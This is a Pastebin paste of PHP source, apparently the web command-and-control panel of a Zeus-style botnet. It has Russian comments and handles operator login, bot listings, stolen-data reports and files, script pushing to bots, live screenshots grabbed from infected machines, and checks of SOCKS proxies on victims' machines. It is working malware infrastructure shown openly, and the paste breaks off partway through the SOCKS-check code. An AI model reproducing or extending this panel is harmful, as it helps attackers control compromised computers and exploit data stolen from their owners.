honaalqahera

config-egg

Mar 12th, 2015
255
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 84.69 KB | None | 0 0
  1. <?php define('__CP__', 1);
  2. require_once('system/global.php');
  3. if(!@include_once('system/config.php'))die('Hello! How are you?');
  4.  
  5. ///////////////////////////////////////////////////////////////////////////////
  6. // Константы.
  7. ///////////////////////////////////////////////////////////////////////////////
  8.  
  9. define('CURRENT_TIME', time()); //Текущее время.
  10. define('ONLINE_TIME_MIN', (CURRENT_TIME - BOTNET_TIMEOUT)); //Минимальное время для статуса "Онлайн".
  11. define('DEFAULT_LANGUAGE', 'en'); //Язык по умолчанию.
  12. define('THEME_PATH', 'theme'); //Папка для темы.
  13.  
  14. //HTTP запросы.
  15. define('QUERY_SCRIPT', basename($_SERVER['PHP_SELF']));
  16. define('QUERY_SCRIPT_HTML', QUERY_SCRIPT);
  17. define('QUERY_VAR_MODULE', 'm'); //Переменая указывающая на текущий модуль.
  18. define('QUERY_STRING_BLANK', QUERY_SCRIPT.'?m='); //Пустая строка запроса.
  19. define('QUERY_STRING_BLANK_HTML', QUERY_SCRIPT_HTML.'?m='); //Пустая строка запроса в HTML.
  20. define('CP_HTTP_ROOT', str_replace('\\', '/', (!empty($_SERVER['SCRIPT_NAME']) ? dirname($_SERVER['SCRIPT_NAME']) : '/'))); //Корень CP.
  21.  
  22. //Сессия, куки.
  23. define('COOKIE_USER', 'p'); //Имя пользователя в куках.
  24. define('COOKIE_PASS', 'u'); //Пароль пользователя в куках.
  25. define('COOKIE_LIVETIME', CURRENT_TIME + 2592000); //Время жизни куков.
  26. define('COOKIE_SESSION', 'ref'); //Переменная для хранения сессии.
  27. define('SESSION_LIVETIME', CURRENT_TIME + 1300); //Время жизни сессии.
  28.  
  29. ///////////////////////////////////////////////////////////////////////////////
  30. // Инициализация.
  31. ///////////////////////////////////////////////////////////////////////////////
  32.  
  33. //Подключаемся к базе.
  34. if(!ConnectToDB())die(mysql_error_ex());
  35.  
  36. //Подключаем тему.
  37. require_once(THEME_PATH.'/index.php');
  38.  
  39. //Управление логином.
  40. if(!empty($_GET[QUERY_VAR_MODULE]))
  41. {
  42. //Форма логина.
  43. if(strcmp($_GET[QUERY_VAR_MODULE], 'login') === 0)
  44. {
  45. UnlockSessionAndDestroyAllCokies();
  46.  
  47. if(isset($_POST['user']) && isset($_POST['pass']))
  48. {
  49. $user = $_POST['user'];
  50. $pass = md5($_POST['pass']);
  51.  
  52. //Проверяем логин.
  53. if(@mysql_query("SELECT id FROM cp_users WHERE name='".addslashes($user)."' AND pass='".addslashes($pass)."' AND flag_enabled='1' LIMIT 1") && @mysql_affected_rows() == 1)
  54. {
  55. if(isset($_POST['remember']) && $_POST['remember'] == 1)
  56. {
  57. setcookie(COOKIE_USER, md5($user), COOKIE_LIVETIME, CP_HTTP_ROOT);
  58. setcookie(COOKIE_PASS, $pass, COOKIE_LIVETIME, CP_HTTP_ROOT);
  59. }
  60.  
  61. LockSession();
  62. $_SESSION['name'] = $user;
  63. $_SESSION['pass'] = $pass;
  64. //UnlockSession();
  65.  
  66. header('Location: '.QUERY_STRING_BLANK.'home');
  67. }
  68. else ShowLoginForm(true);
  69. die();
  70. }
  71.  
  72. ShowLoginForm(false);
  73. die();
  74. }
  75.  
  76. //Выход
  77. if(strcmp($_GET['m'], 'logout') === 0)
  78. {
  79. UnlockSessionAndDestroyAllCokies();
  80. header('Location: '.QUERY_STRING_BLANK.'login');
  81. die();
  82. }
  83. }
  84.  
  85. ///////////////////////////////////////////////////////////////////////////////
  86. // Проверка данных логина.
  87. ///////////////////////////////////////////////////////////////////////////////
  88.  
  89. $logined = 0; //Флаг означающий, залогинины ли мы.
  90.  
  91. //Логин через сессию.
  92. LockSession();
  93. if(!empty($_SESSION['name']) && !empty($_SESSION['pass']))
  94. {
  95. if(($r = @mysql_query("SELECT * FROM cp_users WHERE name='".addslashes($_SESSION['name'])."' AND pass='".addslashes($_SESSION['pass'])."' AND flag_enabled='1' LIMIT 1")))$logined = @mysql_affected_rows();
  96. }
  97. //Логин через куки.
  98. if($logined !== 1 && !empty($_COOKIE[COOKIE_USER]) && !empty($_COOKIE[COOKIE_PASS]))
  99. {
  100. if(($r = @mysql_query("SELECT * FROM cp_users WHERE MD5(name)='".addslashes($_COOKIE[COOKIE_USER])."' AND pass='".addslashes($_COOKIE[COOKIE_PASS])."' AND flag_enabled='1' LIMIT 1")))$logined = @mysql_affected_rows();
  101. }
  102. //Не удалось залогиниться.
  103. if($logined !== 1)
  104. {
  105. UnlockSessionAndDestroyAllCokies();
  106. header('Location: '.QUERY_STRING_BLANK.'login');
  107. die();
  108. }
  109.  
  110. //Получаем данные пользователя.
  111. $_USER_DATA = @mysql_fetch_assoc($r);
  112. if($_USER_DATA === false)die(mysql_error_ex());
  113. $_SESSION['name'] = $_USER_DATA['name'];
  114. $_SESSION['pass'] = $_USER_DATA['pass'];
  115.  
  116. //Подключаем язык.
  117. if(@strlen($_USER_DATA['language']) != 2 || !SafePath($_USER_DATA['language']) || !file_exists('system/lng.'.$_USER_DATA['language'].'.php'))$_USER_DATA['language'] = DEFAULT_LANGUAGE;
  118. require_once('system/lng.'.$_USER_DATA['language'].'.php');
  119.  
  120. UnlockSession();
  121.  
  122. ///////////////////////////////////////////////////////////////////////////////
  123. // Определяем меню.
  124. ///////////////////////////////////////////////////////////////////////////////
  125.  
  126. //Главное меню.
  127. $_MAINMENU = array( //Модуль. //Название. //Необходимые права.
  128. array(0, LNG_MM_STATS, array()),
  129. array('stats_main', LNG_MM_STATS_MAIN, array('r_stats_main')),
  130. array('stats_os', LNG_MM_STATS_OS, array('r_stats_os')),
  131.  
  132. array(0, LNG_MM_BOTNET, array()),
  133. array('botnet_bots', LNG_MM_BOTNET_BOTS, array('r_botnet_bots')),
  134. array('botnet_scripts', LNG_MM_BOTNET_SCRIPTS, array('r_botnet_scripts')),
  135.  
  136. array(0, LNG_MM_REPORTS, array()),
  137. array('reports_db', LNG_MM_REPORTS_DB, array('r_reports_db')),
  138. array('reports_files', LNG_MM_REPORTS_FILES, array('r_reports_files')),
  139. array('reports_jn', LNG_MM_REPORTS_JN, array('r_reports_jn')),
  140.  
  141. array(0, LNG_MM_SYSTEM, array()),
  142. array('sys_info', LNG_MM_SYSTEM_INFO, array('r_system_info')),
  143. array('sys_options', LNG_MM_SYSTEM_OPTIONS, array('r_system_options')),
  144. array('sys_user', LNG_MM_SYSTEM_USER, array('r_system_user')),
  145. array('sys_users', LNG_MM_SYSTEM_USERS, array('r_system_users'))
  146. );
  147.  
  148. //Меню дейтвий над ботом. Также применяется для массива ботов.
  149. $_BOT_MENU = array(
  150. array('fullinfo', LNG_MBA_FULLINFO, array('r_botnet_bots')),
  151. array('fullinfoss', LNG_MBA_FULLINFOSS, array('r_botnet_bots')),
  152.  
  153. array(0, LNG_MBA_SEPARATOR, array()),
  154. array('today_dbreports', LNG_MBA_TODAY_DBREPORTS, array('r_reports_db')),
  155. array('week_dbreports', LNG_MBA_WEEK_DBREPORTS, array('r_reports_db')),
  156. array('files', LNG_MBA_FILES, array('r_reports_files')),
  157.  
  158. array(0, LNG_MBA_SEPARATOR, array()),
  159. array('remove', LNG_MBA_REMOVE, array('r_edit_bots')),
  160. array('removeex', LNG_MBA_REMOVE_REPORTS, array('r_edit_bots', 'r_reports_db_edit', 'r_reports_files_edit')),
  161.  
  162. array(0, LNG_MBA_SEPARATOR, array()),
  163. array('port_socks', LNG_MBA_PORT_SOCKS, array('r_botnet_bots')),
  164. array('newscript', LNG_MBA_NEWSCRIPT, array('r_botnet_scripts_edit'))
  165. );
  166.  
  167. OptimizeMenu($_BOT_MENU, false);
  168.  
  169. ///////////////////////////////////////////////////////////////////////////////
  170. // Обработка группы ботов.
  171. ///////////////////////////////////////////////////////////////////////////////
  172.  
  173. if((!empty($_GET['botsaction']) || !empty($_POST['botsaction'])) && ((!empty($_POST['bots']) && is_array($_POST['bots'])) || (!empty($_GET['bots']) && is_array($_GET['bots']))))
  174. {
  175. $bedit = empty($_USER_DATA['r_edit_bots']) ? 0 : 1;
  176. $ba = !empty($_GET['botsaction']) ? $_GET['botsaction'] : $_POST['botsaction'];
  177. $blist = !empty($_POST['bots']) && is_array($_POST['bots']) ? $_POST['bots'] : $_GET['bots'];
  178. $blist = array_unique($blist);
  179.  
  180. //Проверям есть ли право на действие.
  181. $deny = true;
  182. foreach($_BOT_MENU as $item)if($item[0] !== 0 && strcmp($item[0], $ba) === 0){$deny = false; break;}
  183. if($deny)ThemeFatalError(LNG_ACCESS_DEFINED);
  184.  
  185. //Составляем список ботов для MySQL.
  186. $sql_blist = '';
  187. $count = 0;
  188. foreach($blist as $bot)$sql_blist .= ($count++ == 0 ? '' : ' OR ')."bot_id='".addslashes($bot)."'";
  189.  
  190. if(strcmp($ba, 'fullinfo') === 0 || strcmp($ba, 'fullinfoss') === 0)
  191. {
  192. //Режим обнавления.
  193. if($bedit && isset($_GET['save']) && (isset($_POST['used']) && is_array($_POST['used'])) && (isset($_POST['comments']) && is_array($_POST['comments'])))
  194. {
  195. $q = '';
  196. foreach($blist as $i => $bot)if(isset($_POST['used'][$i]) && isset($_POST['comments'][$i]))
  197. {
  198. @mysql_query("UPDATE botnet_list SET flag_used='".($_POST['used'][$i] == 1 ? 1 : 0)."', comments='".addslashes(substr($_POST['comments'][$i], 0, 250))."' WHERE bot_id='".addslashes($bot)."' LIMIT 1");
  199. $q .= '&bots[]='.urlencode($bot);
  200. }
  201.  
  202. header('Location: '.QUERY_SCRIPT.'?botsaction='.urlencode($ba).$q);
  203. die();
  204. }
  205.  
  206. //Скриншот.
  207. if(strcmp($ba, 'fullinfoss') === 0 && isset($_GET['ipv4']) && isset($_GET['port']))
  208. {
  209. $format = 'image/'.$_USER_DATA['ss_format'];
  210. $data = 0;
  211.  
  212. if(($sock = @fsockopen($_GET['ipv4'], $_GET['port'], $errn, $errs, 5)))
  213. {
  214. @stream_set_timeout($sock, 5);
  215. @fwrite($sock, pack('LLL', 10, strlen($format) + 4, $_USER_DATA['ss_quality']).$format);
  216. @fflush($sock);
  217.  
  218. if(($fs = @fread($sock, 8)) && ($fs = @unpack('L2', $fs)))
  219. {
  220. while($data < $fs[1] && !@feof($sock))
  221. {
  222. $need = min($fs[2], $fs[1] - $data);
  223. if(!($td = @fread($sock,$need)))break;
  224. $sm = strlen($td);
  225. while($sm < $need && !@feof($sock) && ($td2 = @fread($sock,$need-$sm))){$sm += strlen($td2); $td .= $td2;}
  226. if($data == 0)header('Content-Type: '.$format);
  227. $data += $sm;
  228. echo $td;
  229. if(!@fwrite($sock, pack('L', $fs[2])))break;
  230. @fflush($sock);
  231. }
  232. }
  233. @fclose($sock);
  234. }
  235.  
  236. if($data === 0)
  237. {
  238. header('Content-Type: image/png');
  239. echo file_get_contents(THEME_PATH.'/failed.png');
  240. }
  241. die();
  242. }
  243.  
  244. //Стандартный вывод.
  245. if(!($r = @mysql_query('SELECT *, IF(rtime_last>=\''.ONLINE_TIME_MIN.'\', 1, 0) AS is_online FROM botnet_list WHERE '.$sql_blist)))ThemeMySQLError();
  246.  
  247. //Получаем результат.
  248. $res = array();
  249. while(($m = @mysql_fetch_assoc($r)))$res[$m['bot_id']] = $m;
  250. mysql_free_result($r);
  251. unset($m);
  252.  
  253. //Выводим результат.
  254. $e_count = 0;
  255. $data = '';
  256. if($bedit)$data .= str_replace(array('{NAME}', '{URL}', '{JS_EVENTS}'), array('edit', QUERY_SCRIPT_HTML.'?botsaction='.$ba.'&amp;save=1', ''), THEME_FORMPOST_BEGIN);
  257. $data .=
  258. str_replace('{WIDTH}', '90%', THEME_DIALOG_BEGIN).
  259. str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(1, LNG_BA_FULLINFO_TITLE), THEME_DIALOG_TITLE).
  260. THEME_DIALOG_ROW_BEGIN.
  261. str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_ITEM_CHILD_BEGIN);
  262.  
  263. foreach($blist as $bot)
  264. {
  265. $data .=
  266. str_replace('{WIDTH}', '100%', THEME_LIST_BEGIN).
  267. THEME_LIST_ROW_BEGIN.
  268. str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_BOTID), THEME_LIST_ITEM_LTEXT_U1).
  269. str_replace(array('{WIDTH}', '{TEXT}'), array('auto', BotPopupMenu($bot, 'botmenu')), THEME_LIST_ITEM_LTEXT_U1).
  270. THEME_LIST_ROW_END;
  271.  
  272. //Базовая информация.
  273. $is_exists = isset($res[$bot]);
  274. if(!$is_exists)$data .= THEME_LIST_ROW_BEGIN.str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, LNG_BA_FULLINFO_EMPTY), THEME_LIST_ITEM_EMPTY_1).THEME_LIST_ROW_END;
  275. else
  276. {
  277. $e_count++;
  278. $l = $res[$bot];
  279. $data .=
  280. THEME_LIST_ROW_BEGIN.
  281. str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_BOTNET), THEME_LIST_ITEM_LTEXT_U2).
  282. str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlentities_ex($l['botnet'])), THEME_LIST_ITEM_LTEXT_U2).
  283. THEME_LIST_ROW_END.
  284. THEME_LIST_ROW_BEGIN.
  285. str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_VERSION), THEME_LIST_ITEM_LTEXT_U1).
  286. str_replace(array('{WIDTH}', '{TEXT}'), array('auto', IntToVersion($l['bot_version'])), THEME_LIST_ITEM_LTEXT_U1).
  287. THEME_LIST_ROW_END.
  288. THEME_LIST_ROW_BEGIN.
  289. str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_OS), THEME_LIST_ITEM_LTEXT_U2).
  290. str_replace(array('{WIDTH}', '{TEXT}'), array('auto', OSDataToString($l['os_version'])), THEME_LIST_ITEM_LTEXT_U2).
  291. THEME_LIST_ROW_END.
  292. THEME_LIST_ROW_BEGIN.
  293. str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_OSLANG), THEME_LIST_ITEM_LTEXT_U1).
  294. str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlentities_ex($l['language_id'])), THEME_LIST_ITEM_LTEXT_U1).
  295. THEME_LIST_ROW_END.
  296. THEME_LIST_ROW_BEGIN.
  297. str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_TIMEBIAS), THEME_LIST_ITEM_LTEXT_U2).
  298. str_replace(array('{WIDTH}', '{TEXT}'), array('auto', TimeBiasToText($l['time_localbias'])), THEME_LIST_ITEM_LTEXT_U2).
  299. THEME_LIST_ROW_END.
  300. THEME_LIST_ROW_BEGIN.
  301. str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_COUNTRY), THEME_LIST_ITEM_LTEXT_U1).
  302. str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlentities_ex($l['country'])), THEME_LIST_ITEM_LTEXT_U1).
  303. THEME_LIST_ROW_END.
  304. THEME_LIST_ROW_BEGIN.
  305. str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_IPV4), THEME_LIST_ITEM_LTEXT_U2).
  306. str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlentities_ex($l['ipv4']).($l['flag_nat'] ? '*' : '')), THEME_LIST_ITEM_LTEXT_U2).
  307. THEME_LIST_ROW_END.
  308. THEME_LIST_ROW_BEGIN.
  309. str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_LATENCY), THEME_LIST_ITEM_LTEXT_U1).
  310. str_replace(array('{WIDTH}', '{TEXT}'), array('auto', number_format_as_float($l['net_latency'] / 1000, 3)), THEME_LIST_ITEM_LTEXT_U1).
  311. THEME_LIST_ROW_END.
  312. THEME_LIST_ROW_BEGIN.
  313. str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_PORT_S1), THEME_LIST_ITEM_LTEXT_U2).
  314. str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlentities_ex($l['port_s1'])), THEME_LIST_ITEM_LTEXT_U2).
  315. THEME_LIST_ROW_END.
  316. THEME_LIST_ROW_BEGIN.
  317. str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_TFIRST), THEME_LIST_ITEM_LTEXT_U1).
  318. str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlentities_ex(gmdate(LNG_FORMAT_DT, $l['rtime_first']))), THEME_LIST_ITEM_LTEXT_U1).
  319. THEME_LIST_ROW_END.
  320. THEME_LIST_ROW_BEGIN.
  321. str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_TLAST), THEME_LIST_ITEM_LTEXT_U2).
  322. str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlentities_ex(gmdate(LNG_FORMAT_DT, $l['rtime_last']))), THEME_LIST_ITEM_LTEXT_U2).
  323. THEME_LIST_ROW_END.
  324. THEME_LIST_ROW_BEGIN.
  325. str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_TONLINE), THEME_LIST_ITEM_LTEXT_U1).
  326. str_replace(array('{WIDTH}', '{TEXT}'), array('auto', $l['is_online'] == 1 ? TickCountToTime(CURRENT_TIME - $l['rtime_online']) : LNG_FORMAT_NOTIME), THEME_LIST_ITEM_LTEXT_U1).
  327. THEME_LIST_ROW_END.
  328. THEME_LIST_ROW_BEGIN.
  329. str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_INSTALL), THEME_LIST_ITEM_LTEXT_U2).
  330. str_replace(array('{WIDTH}', '{TEXT}'), array('auto', $l['flag_install'] == 1 ? LNG_YES : LNG_NO), THEME_LIST_ITEM_LTEXT_U2).
  331. THEME_LIST_ROW_END.
  332. THEME_LIST_ROW_BEGIN.
  333. str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_USED), THEME_LIST_ITEM_LTEXT_U1).
  334. ($bedit
  335. ?
  336. str_replace(array('{NAME}', '{WIDTH}'), array('used[]', 'auto'), THEME_LIST_ITEM_LISTBOX_U1_BEGIN).
  337. str_replace(array('{VALUE}', '{TEXT}'), array(0, LNG_NO), $l['flag_used'] != 1 ? THEME_LIST_ITEM_LISTBOX_ITEM_CUR : THEME_LIST_ITEM_LISTBOX_ITEM).
  338. str_replace(array('{VALUE}', '{TEXT}'), array(1, LNG_YES), $l['flag_used'] == 1 ? THEME_LIST_ITEM_LISTBOX_ITEM_CUR : THEME_LIST_ITEM_LISTBOX_ITEM).
  339. ( THEME_LIST_ITEM_LISTBOX_U1_END)
  340. :
  341. str_replace(array('{WIDTH}', '{TEXT}'), array('auto', $l['flag_used'] == 1 ? LNG_YES : LNG_NO), THEME_LIST_ITEM_LTEXT_U1)
  342. ).
  343. THEME_LIST_ROW_END.
  344. THEME_LIST_ROW_BEGIN.
  345. str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_COMMENTS), THEME_LIST_ITEM_LTEXT_U2).
  346. ($bedit
  347. ?
  348. str_replace(array('{NAME}', '{VALUE}', '{MAX}', '{WIDTH}'), array('comments[]', htmlentities_ex($l['comments']), 250, '99%'), THEME_LIST_ITEM_INPUT_TEXT_U2)
  349. :
  350. str_replace(array('{WIDTH}', '{TEXT}'), array('auto', empty($l['comments']) ? '-' : htmlentities_ex($l['comments'])), THEME_LIST_ITEM_LTEXT_U2)
  351. ).
  352. THEME_LIST_ROW_END;
  353.  
  354. if(strcmp($ba, 'fullinfoss') === 0)
  355. {
  356. $ss = str_replace('{URL}',
  357. htmlentities_ex(QUERY_SCRIPT.'?botsaction=fullinfoss&bots[]=0&ipv4='.urlencode($l['ipv4']).'&port='.urlencode($l['port_s1'])),
  358. THEME_SCREENSHOT);
  359.  
  360. $data .=
  361. THEME_LIST_ROW_BEGIN.
  362. str_replace(array('{WIDTH}', '{TEXT}'), array('1%', LNG_BA_FULLINFO_SCREENSHOT), THEME_LIST_ITEM_LTEXT_U1).
  363. str_replace(array('{WIDTH}', '{TEXT}'), array('auto', $ss), THEME_LIST_ITEM_LTEXT_U1).
  364. THEME_LIST_ROW_END;
  365. }
  366. }
  367.  
  368. //Концовка.
  369. $data .=
  370. THEME_LIST_END.
  371. ($bedit && $is_exists ? str_replace(array('{NAME}', '{VALUE}'), array('bots[]', htmlentities_ex($bot)), THEME_FORM_VALUE) : '').
  372. THEME_VSPACE;
  373. }
  374.  
  375. $data .=
  376. THEME_DIALOG_ITEM_CHILD_END.
  377. THEME_DIALOG_ROW_END;
  378.  
  379. if($bedit && $e_count > 0)
  380. {
  381. $data .=
  382. str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_ACTIONLIST_BEGIN).
  383. str_replace(array('{TEXT}', '{JS_EVENTS}'), array(LNG_BA_FULLINFO_ACTION_SAVE, ''), THEME_DIALOG_ITEM_ACTION_SUBMIT).
  384. THEME_DIALOG_ACTIONLIST_END;
  385. }
  386.  
  387. $data .=
  388. THEME_DIALOG_END.
  389. ($bedit ? THEME_FORMPOST_END : '');
  390.  
  391. ThemeSmall(LNG_BA_FULLINFO_TITLE, $data, 0, GetBotJSMenu('botmenu'), 0);
  392. }
  393. else if(strcmp($ba, 'today_dbreports') === 0 || strcmp($ba, 'week_dbreports') === 0)
  394. {
  395. $date2 = gmdate('ymd', CURRENT_TIME);
  396. $date1 = strcmp($ba, 'week_dbreports') === 0 ? gmdate('ymd', CURRENT_TIME - 518400) : $date2;
  397.  
  398. foreach($blist as $k => $v)if(spacechars_exists($v))$blist[$k] = '"'.$v.'"';
  399. header('Location: '.QUERY_STRING_BLANK.'reports_db&date1='.urlencode($date1).'&date2='.urlencode($date2).'&bots='.urlencode(implode(' ', $blist)).'&q=');
  400. die();
  401. }
  402. else if(strcmp($ba, 'files') === 0)
  403. {
  404. foreach($blist as $k => $v)if(spacechars_exists($v))$blist[$k] = '"'.$v.'"';
  405. header('Location: '.QUERY_STRING_BLANK.'reports_files&bots='.urlencode(implode(' ', $blist)).'&q=');
  406. die();
  407. }
  408. else if(strcmp($ba, 'remove') === 0 || strcmp($ba, 'removeex') === 0) //Проверка прав не требуется, т.к. проверка присходит при формировании $_BOT_MENU.
  409. {
  410. if(isset($_GET['yes']) || isset($_GET['no']))
  411. {
  412. $data =
  413. str_replace('{WIDTH}', 'auto', THEME_LIST_BEGIN).
  414. str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, LNG_BA_REMOVE_TITLE), THEME_LIST_TITLE);
  415.  
  416. if(isset($_GET['yes']))
  417. {
  418. //Удаление из botnet_list.
  419. if(@mysql_query('DELETE FROM botnet_list WHERE '.$sql_blist))$t = str_replace('{TEXT}', sprintf(LNG_BA_REMOVE_REMOVED, @mysql_affected_rows()), THEME_STRING_SUCCESS);
  420. else $t = str_replace('{TEXT}', mysql_error_ex(), THEME_STRING_ERROR);
  421.  
  422. $data .=
  423. THEME_LIST_ROW_BEGIN.
  424. str_replace(array('{WIDTH}', '{TEXT}'), array('auto', 'botnet_list'), THEME_LIST_ITEM_LTEXT_U1).
  425. str_replace(array('{WIDTH}', '{TEXT}'), array('auto', $t), THEME_LIST_ITEM_LTEXT_U1).
  426. THEME_LIST_ROW_END;
  427.  
  428. //Удаление.
  429. if(strcmp($ba, 'removeex') === 0)
  430. {
  431. $i = 1;
  432. $rlist = ListReportTables(MYSQL_DB);
  433.  
  434. //Удаление из botnet_reports_*.
  435. foreach($rlist as $table)
  436. {
  437. if(@mysql_query("DELETE FROM {$table} WHERE ".$sql_blist))$t = str_replace('{TEXT}', sprintf(LNG_BA_REMOVE_REMOVED, @mysql_affected_rows()), THEME_STRING_SUCCESS);
  438. else $t = str_replace('{TEXT}', mysql_error_ex(), THEME_STRING_ERROR);
  439.  
  440. $item = ($i % 2 ? THEME_LIST_ITEM_LTEXT_U2 : THEME_LIST_ITEM_LTEXT_U1);
  441.  
  442. $data .=
  443. THEME_LIST_ROW_BEGIN.
  444. str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlentities_ex($table)), $item).
  445. str_replace(array('{WIDTH}', '{TEXT}'), array('auto', $t), $item).
  446. THEME_LIST_ROW_END;
  447.  
  448. $i++;
  449. }
  450.  
  451. //Удаление файлов.
  452. $root = getdirs(REPORTS_PATH);
  453. if($root !== false)foreach($root as $rdir)
  454. {
  455. $rdir = REPORTS_PATH.'/'.$rdir;
  456. $botnets = getdirs($rdir);
  457.  
  458. if($botnets !== false)foreach($botnets as $botnet)
  459. {
  460. $botnet = $rdir.'/'.$botnet;
  461. $bots = getdirs($botnet);
  462.  
  463. if($bots !== false)foreach($bots as $bot)
  464. {
  465. $bot_l = mb_strtolower(urldecode($bot));
  466. $bot = $botnet.'/'.$bot;
  467.  
  468. foreach($blist as $l)
  469. {
  470. if(strcmp($bot_l, mb_strtolower($l)) === 0)
  471. {
  472. if(ClearPath($bot))$t = str_replace('{TEXT}', LNG_BA_REMOVE_FREMOVED, THEME_STRING_SUCCESS);
  473. else $t = str_replace('{TEXT}', LNG_BA_REMOVE_FERROR, THEME_STRING_ERROR);
  474.  
  475. $item = ($i % 2 ? THEME_LIST_ITEM_LTEXT_U2 : THEME_LIST_ITEM_LTEXT_U1);
  476.  
  477. $data .=
  478. THEME_LIST_ROW_BEGIN.
  479. str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlentities_ex($bot)), $item).
  480. str_replace(array('{WIDTH}', '{TEXT}'), array('auto', $t), $item).
  481. THEME_LIST_ROW_END;
  482.  
  483. $i++;
  484. }
  485. }
  486. }
  487. unset($bots);
  488. }
  489. unset($botnets);
  490. }
  491. unset($root);
  492. }
  493. }
  494. else $data .= THEME_LIST_ROW_BEGIN.str_replace(array('{WIDTH}', '{TEXT}'), array('auto', LNG_BA_REMOVE_ABORTED), THEME_LIST_ITEM_LTEXT_U1).THEME_LIST_ROW_END;
  495.  
  496. ThemeSmall(LNG_BA_REMOVE_TITLE, $data.THEME_LIST_END, 0, 0, 0);
  497. }
  498. else
  499. {
  500. $bl = '';
  501. foreach($blist as $bot)$bl .= '&bots[]='.addjsslashes(urlencode($bot));
  502.  
  503. $q = sprintf(strcmp($ba, 'remove') === 0 ? LNG_BA_REMOVE_Q1 : LNG_BA_REMOVE_Q2, count($blist));
  504. $js = "function qr(){var r = confirm('".addjsslashes($q)."') ? 'yes': 'no'; window.location='".addjsslashes(QUERY_SCRIPT)."?botsaction={$ba}{$bl}&' + r;}";
  505. ThemeSmall(LNG_BA_REMOVE_TITLE, '', $js, 0, ' onload="qr()"');
  506. }
  507. }
  508. else if(strcmp($ba, 'port_socks') === 0)
  509. {
  510. //Проверка сокса.
  511. if(isset($_GET['ipv4']) && isset($_GET['port']))
  512. {
  513. $ok = 0;
  514. if(($s = @fsockopen($_GET['ipv4'], $_GET['port'], $errn, $errs, 5)))
  515. {
  516. @stream_set_timeout($s, 5);
  517. $data = pack('CCSL', 4, 1, 0, 0)."\0"; //Заголовок Socks4.
  518. if(@fwrite($s, $data) && ($data = @fread($s, 8)) && strlen($data) == 8)$ok = 1;
  519. fclose($s);
  520. }
  521.  
  522. if($ok == 1)echo str_replace('{TEXT}', LNG_BA_PORT_SOCKS_SUCCESS, THEME_STRING_SUCCESS);
  523. else echo str_replace('{TEXT}', LNG_BA_PORT_SOCKS_FAILED, THEME_STRING_ERROR);
  524.  
  525. die();
  526. }
  527.  
  528. //Вывод списка.
  529. if(!($r = @mysql_query('SELECT bot_id, country, ipv4, port_s1 FROM botnet_list WHERE '.$sql_blist)))ThemeMySQLError();
  530.  
  531. //Получаем результат.
  532. $res = array();
  533. while(($m = @mysql_fetch_row($r)))$res[$m[0]] = $m;
  534. mysql_free_result($r);
  535. unset($m);
  536.  
  537. $data =
  538. str_replace('{WIDTH}', 'auto', THEME_LIST_BEGIN).
  539. str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(3, LNG_BA_PORT_SOCKS_TITLE), THEME_LIST_TITLE);
  540.  
  541. $i = 0;
  542. $jslist = '';
  543.  
  544. //Выводим результат.
  545. foreach($blist as $bot)
  546. {
  547. $is_exists = isset($res[$bot]);
  548. $item = ((($i++) % 2 == 0) ? THEME_LIST_ITEM_LTEXT_U1 : THEME_LIST_ITEM_LTEXT_U2);
  549.  
  550. if($is_exists)
  551. {
  552. $l = $res[$bot];
  553. $jslist .= ($jslist == '' ? '' : ', ')."['st{$i}', '".addjsslashes(urlencode($l[2]))."', '".addjsslashes(urlencode($l[3]))."']";
  554. }
  555.  
  556. $data .=
  557. THEME_LIST_ROW_BEGIN.
  558. str_replace(array('{WIDTH}', '{TEXT}'), array('auto', BotPopupMenu($bot, 'botmenu').'&#160;/&#160;'.($is_exists ? $l[1] : '--')), $item).
  559. str_replace(array('{WIDTH}', '{TEXT}'), array('150px', $is_exists ? htmlentities_ex($l[2].':'.$l[3]) : '-:-'), $item).
  560. str_replace(array('{WIDTH}', '{TEXT}'), array('150px',
  561. $is_exists ?
  562. str_replace('{ID}', 'st'.$i, THEME_STRING_ID_BEGIN).LNG_BA_PORT_SOCKS_CHECKING.THEME_STRING_ID_END :
  563. LNG_BA_PORT_SOCKS_FAILED
  564. ), $item).
  565. THEME_LIST_ROW_END;
  566. }
  567.  
  568. //Скрипт для проверки соксов.
  569. $ajax_err = addjsslashes(str_replace('{TEXT}', LNG_BA_PORT_SOCKS_ERROR, THEME_STRING_ERROR));
  570. $ajax_init = JSXMLHttpRequest('sockshttp');
  571. $q = addjsslashes(QUERY_SCRIPT.'?botsaction=port_socks&bots[]=0');
